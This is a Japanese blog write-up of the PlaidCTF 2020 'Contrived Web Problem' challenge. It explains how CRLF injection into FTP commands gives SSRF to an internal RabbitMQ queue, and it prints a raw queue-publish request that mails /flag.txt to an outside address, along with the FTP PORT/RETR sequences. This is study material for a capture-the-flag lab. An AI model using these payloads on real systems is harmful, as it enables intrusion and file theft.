はまやんはまやんはまやん

hamayanhamayan's blog

Contrived Web Problem [PlaidCTF 2020]

CTFtime.org / PlaidCTF 2020 / Contrived Web Problem

久々にちゃんとお勉強をしたので、記録しておく。

攻撃の概要

  • ソースコードを見ると、/flag.txtがあるので、これを何とか抜き出す
  • パスワード再発行機能があり、それにflag.txtを添付させる
  • システムではメールの送信にキューイングシステムが使われており、キューに不正なメール送信リクエストを投げる
  • キューに不正なリクエストを投げるには、FTPを使っている部分でCRLFインジェクションを行う

メールにflag.txtを添付させる???

/password-reset

まずはメールを送信している部分を見てみよう。
/password-resetというAPIがあり、これを使うとパスワードの再発行ができる。

services/api/index.ts

app.post("/password-reset", async (req, res) => {
  let { email } = req.body;

  if (typeof email !== "string") {
    res.status(500).send("Bad body");
  }

  let newPassword = Array.from(new Array(16), () => "abcdefghijklmnopqrstuvwxyz0123456789"[Math.floor(Math.random() * 36)]).join("");
  let hashedPassword = await bcrypt.hash(newPassword, 14);
  await withClient((client) => client.query(`
UPDATE user_auth
SET password = $2
WHERE email = $1
`, [email, hashedPassword]));

  let channel = await rabbit.createChannel();
  channel.sendToQueue("email", Buffer.from(JSON.stringify({
    to: email,
    subject: "Password Reset",
    text: `Hello there, your new password is ${newPassword}`,
  })));

  res.status(200).send("Password reset");
});

このコードを見ると、sentToQueueメソッドでメール送信リクエストをキューに投げていることが分かる。
jsonなので、
{ "to": "[email]", "subject": "Password Reset", "text": "Hello there, your new password is [newPassword]" }
って感じで、jsonが渡される。

キュー

これを受け取っているのが、以下の部分。

services/email/index.ts

let channel = await rabbit.createChannel();
channel.consume("email", async (msg) => {
  if (msg === null) {
    return;
  }
  channel.ack(msg);

  try {
    let data = JSON.parse(msg.content.toString());
    await transport.sendMail({
      from: "plaid2020problem@gmail.com",
      subject: "Your Account",
      ...data,
    });
  } catch (e) {
    console.error(e);
  }
})

先ほどのメッセージを受け取って、jsonをパースして、オプションに追加して、メール送信している。
特にバリデートはしてないっぽいので、キューに対して不正なリクエストを入れることができれば…
例えば、
{ "to": "[email]", "subject": "Evil Request", "text": "I win.", "attachments":[{"filename":"flag.txt","path":"/flag.txt"}] }
のようなものを入れることができれば、指定のアドレスに対して、flag.txtを送信することができる。
なので、あとは実現したいことは、
キューに対して、任意のリクエストを投げたい
という部分になる。

FTPでCRLFインジェクション

これはFTPサーバーへのリクエストを使うことで可能である。
FTPサーバーへのリクエストに対して、CRLFインジェクションを行うことで、SSRFとして、キューへのリクエスト送信が行える。
過程を見ていこう。

2つの解説を参考に、この解説記事を書いているが、どちらも最終的には同じことをしている。

Mrigank11さんの手法

CRLFインジェクションを行うことで、任意のファイルをアップロードすることができる。

POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: 172.32.56.72:15672
Authorization: Basic dGVzdDp0ZXN0
Accept: */*
Content-Type: application/json;charset=UTF-8
Content-Length: 267

{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}

このようにキューに対するリクエストをアップロードしておく。
アップロード手順としては、

  • socatを使って上を応答するよう準備しておく、ポート80で待機
  • CRLFインジェクションを使って、以下のようなFTPリクエストになるようにする
USER user
PASS test
PORT 自分のIP,0,80
APPE zevtnax
  • これを実行すると、PORTにアクセスしに来るので、zevtnaxという名前で保存したいものを送る(これを1で準備)
  • 再度、CRLFインジェクションを使って、以下のようなFTPリクエストになるようにする
USER user
PASS test
PORT 172,32,56,72,0,15672
RETR zevtnax
  • これでFTP側がメッセージキューとコネクションを貼って、zevtnaxの内容を送信する
  • メッセージキュー側はこれを普通のリクエストと解釈して、フラグをメール送信してしまう

なるほど。だが、これだけでは動かない。
FTPはすぐコネクションを切ってしまうから、RabbitMQ側が正常に処理できないらしい。
回避策として、リクエストの末尾に大量のごみを入れておくとうまくいくらしい。

Zeddyさんの手法

上とほぼ同じ。

  • 上のリクエストの先頭にPNGマジックナンバーをくっつけて、pngファイルに偽装させる
  • 1のファイルをプロファイル画像としてアップロードする
  • CRLFインジェクションを使って、以下のようなFTPリクエストになるようにする
USER user
PASS test
PORT 172,32,56,72,0,15672
REST 6
RETR /user/???????/profile.png

これも成功率は100%じゃないという言及がある。
HTTPリクエストは永続的ではないから、動作がしばしば不安定になるらしい。
よって、リクエストの末尾に

GET / HTTP/1.1
Host: 172.32.56.72:15672

を1000回置いて、リクエストの有効時間を引き延ばしている。

疑問

  • メッセージキューのIPが172.32.56.72であるというのはdocker-composeに書いてあるからいいけど、ポートが15672というのはどこから特定している?
    • 調べたら、RabbitMQはポート15672を使うものらしい
  • Mrigank11さんの手法では、Authenticationまで特定できているが、どこからとってきた?
    • わからん。どこみればいいんかね

参考